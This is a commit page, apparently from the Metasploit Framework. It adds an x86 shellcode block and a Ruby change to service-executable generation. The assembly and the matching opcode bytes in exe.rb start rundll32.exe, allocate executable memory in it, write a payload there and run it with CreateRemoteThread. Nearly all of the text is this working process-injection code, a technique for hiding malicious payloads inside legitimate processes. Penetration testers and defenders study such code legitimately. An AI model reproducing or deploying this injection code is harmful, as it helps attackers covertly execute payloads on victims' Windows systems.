Skip to content

Commit 25d48b7

Browse files
Florian Gaultieragix
authored andcommitted
Add create_remote_process block, now used in exe_service generation
1 parent 0bdf790 commit 25d48b7

File tree

4 files changed

+123
-11
lines changed

4 files changed

+123
-11
lines changed
Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
;-----------------------------------------------------------------------------;
2+
; Author: agix (florian.gaultier[at]gmail[dot]com)
3+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
4+
; Size: 137 bytes
5+
;-----------------------------------------------------------------------------;
6+
7+
[BITS 32]
8+
; Input: EBP must be the address of 'api_call'.
9+
10+
xor edi, edi
11+
push 0x00000004 ;PAGE_READWRITE
12+
push 0x00001000 ;MEM_COMMIT
13+
push 0x00000054 ;STARTUPINFO+PROCESS_INFORMATION
14+
push edi
15+
push 0xE553A458 ;call VirtualAlloc()
16+
call ebp
17+
18+
mov dword [eax], 0x44
19+
lea esi, [eax+0x44]
20+
push edi
21+
push 0x6578652e
22+
push 0x32336c6c
23+
push 0x646e7572
24+
mov ecx, esp ;"rundll32.exe"
25+
push esi ;lpProcessInformation
26+
push eax ;lpStartupInfo
27+
push edi ;lpCurrentDirectory
28+
push edi ;lpEnvironment
29+
push 0x00000044 ;dwCreationFlags
30+
push edi ;bInheritHandles
31+
push edi ;lpThreadAttributes
32+
push edi ;lpProcessAttributes
33+
push ecx ;lpCommandLine
34+
push edi ;lpApplicationName
35+
push 0x863FCC79
36+
call ebp ;call CreatProcessA()
37+
38+
mov ecx, [esi]
39+
push 0x00000040 ;PAGE_EXECUTE_READWRITE
40+
push 0x00001000 ;MEM_COMMIT
41+
push 0x00001000 ;Next Shellcode Size
42+
push edi
43+
push ecx ;hProcess
44+
push 0x3F9287AE ;call VirtualAllocEx()
45+
call ebp
46+
47+
mov edi, eax
48+
mov ecx, [esi]
49+
lea edx, [ebp+0x12a] ;pointer on the next shellcode
50+
push esp
51+
push 0x00001000 ;Next Shellcode Size
52+
push edx ;
53+
push eax ;lBaseAddress
54+
push ecx ;hProcess
55+
push 0xE7BDD8C5
56+
call ebp ;call WriteProcessMemory()
57+
58+
xor eax, eax
59+
mov ecx, [esi]
60+
push eax ;lpThreadId
61+
push eax ;dwCreationFlags
62+
push eax ;lpParameter
63+
push edi ;lpStartAddress
64+
push eax ;dwStackSize
65+
push eax ;lpThreadAttributes
66+
push ecx ;hProcess
67+
push 0x799AACC6
68+
call ebp ;call CreateRemoteThread()
69+
70+
mov ecx, [esi]
71+
push ecx
72+
push 0x528796C6
73+
call ebp ;call CloseHandle()
74+
75+
mov ecx, [esi+0x4]
76+
push ecx
77+
push 0x528796C6
78+
call ebp ;call CloseHandle()
79+
80+
push edi
81+
push 0x56A2B5F0
82+
call ebp ;call ExitProcess(0)
Lines changed: 17 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
1+
;-----------------------------------------------------------------------------;
2+
; Author: agix (florian.gaultier[at]gmail[dot]com)
3+
; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
4+
; Version: 1.0 (28 July 2009)
5+
; Size: 189 bytes + strlen(libpath) + 1
6+
; Build: >build.py single_create_remote_process
7+
;-----------------------------------------------------------------------------;
8+
9+
[BITS 32]
10+
[ORG 0]
11+
12+
cld ; Clear the direction flag.
13+
call start ; Call start, this pushes the address of 'api_call' onto the stack.
14+
%include "./src/block/block_api.asm"
15+
start: ;
16+
pop ebp ; pop off the address of 'api_call' for calling later.
17+
%include "./src/block/block_create_remote_process.asm"

external/source/shellcode/windows/x86/src/single/single_service_stuff.asm

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,4 +14,5 @@
1414
%include "./src/block/block_api.asm"
1515
start: ;
1616
pop ebp ; pop off the address of 'api_call' for calling later.
17-
%include "./src/block/block_service.asm"
17+
%include "./src/block/block_service.asm"
18+
%include "./src/block/block_create_remote_process.asm"

lib/msf/util/exe.rb

Lines changed: 22 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -524,6 +524,9 @@ def self.to_win32pe_service(framework, code, opts={})
524524
precode_size -= 0x0d
525525
svcctrlhandler_code_offset = precode_size + pushed_service_name.length
526526

527+
precode_size += 0xe4
528+
shellcode_code_offset = precode_size + (pushed_service_name.length * 2)
529+
527530
# code_service could be encoded in the future
528531
code_service =
529532
"\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
@@ -536,16 +539,25 @@ def self.to_win32pe_service(framework, code, opts={})
536539
"\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
537540
"\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
538541
"\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
539-
"\x26\x07\xFF\xD5"+pushed_service_name+"\x89\xE1\x8D\x85" +
540-
[svcmain_code_offset].pack('<I')+"\x6A\x00\x50\x51\x89\xE0\x6A\x00" +
541-
"\x50\x68\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF" +
542-
"\xD5\x58\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81" +
543-
"\xED"+[hash_code_offset].pack('<I')+pushed_service_name+"\x89\xE1" +
544-
"\x8D\x85"+[svcctrlhandler_code_offset].pack('<I')+"\x6A\x00\x50" +
545-
"\x51\x68\x0B\xAA\x44\x52\xFF\xD5\x6A\x00\x6A\x00\x6A\x00\x6A\x00" +
546-
"\x6A\x00\x6A\x00\x6A\x04\x6A\x10\x89\xE1\x6A\x00\x51\x50\x68\xC6" +
547-
"\x55\x37\x7D\xFF\xD5"
548-
542+
"\x26\x07\xFF\xD5"+pushed_service_name+"\x89\xE1" +
543+
"\x8D\x85"+[svcmain_code_offset].pack('<I')+"\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
544+
"\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
545+
"\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED" +
546+
[hash_code_offset].pack('<I')+pushed_service_name+"\x89\xE1\x8D" +
547+
"\x85"+[svcctrlhandler_code_offset].pack('<I')+"\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
548+
"\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
549+
"\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5\x31\xFF\x6A" +
550+
"\x04\x68\x00\x10\x00\x00\x6A\x54\x57\x68\x58\xA4\x53\xE5\xFF\xD5" +
551+
"\xC7\x00\x44\x00\x00\x00\x8D\x70\x44\x57\x68\x2E\x65\x78\x65\x68" +
552+
"\x6C\x6C\x33\x32\x68\x72\x75\x6E\x64\x89\xE1\x56\x50\x57\x57\x6A" +
553+
"\x44\x57\x57\x57\x51\x57\x68\x79\xCC\x3F\x86\xFF\xD5\x8B\x0E\x6A" +
554+
"\x40\x68\x00\x10\x00\x00\x68"+[code.length].pack('<I')+"\x57\x51\x68\xAE\x87" +
555+
"\x92\x3F\xFF\xD5\x89\xC7\x8B\x0E\x8D\x95"+[shellcode_code_offset].pack('<I')+"\x54\x68" +
556+
[code.length].pack('<I')+"\x52\x50\x51\x68\xC5\xD8\xBD\xE7\xFF\xD5\x31\xC0" +
557+
"\x8B\x0E\x50\x50\x50\x57\x50\x50\x51\x68\xC6\xAC\x9A\x79\xFF\xD5" +
558+
"\x8B\x0E\x51\x68\xC6\x96\x87\x52\xFF\xD5\x8B\x4E\x04\x51\x68\xC6" +
559+
"\x96\x87\x52\xFF\xD5\x57\x68\xF0\xB5\xA2\x56\xFF\xD5"
560+
549561
return to_winpe_only(framework, code_service + code, opts)
550562
end
551563
end

0 commit comments

Comments
 (0)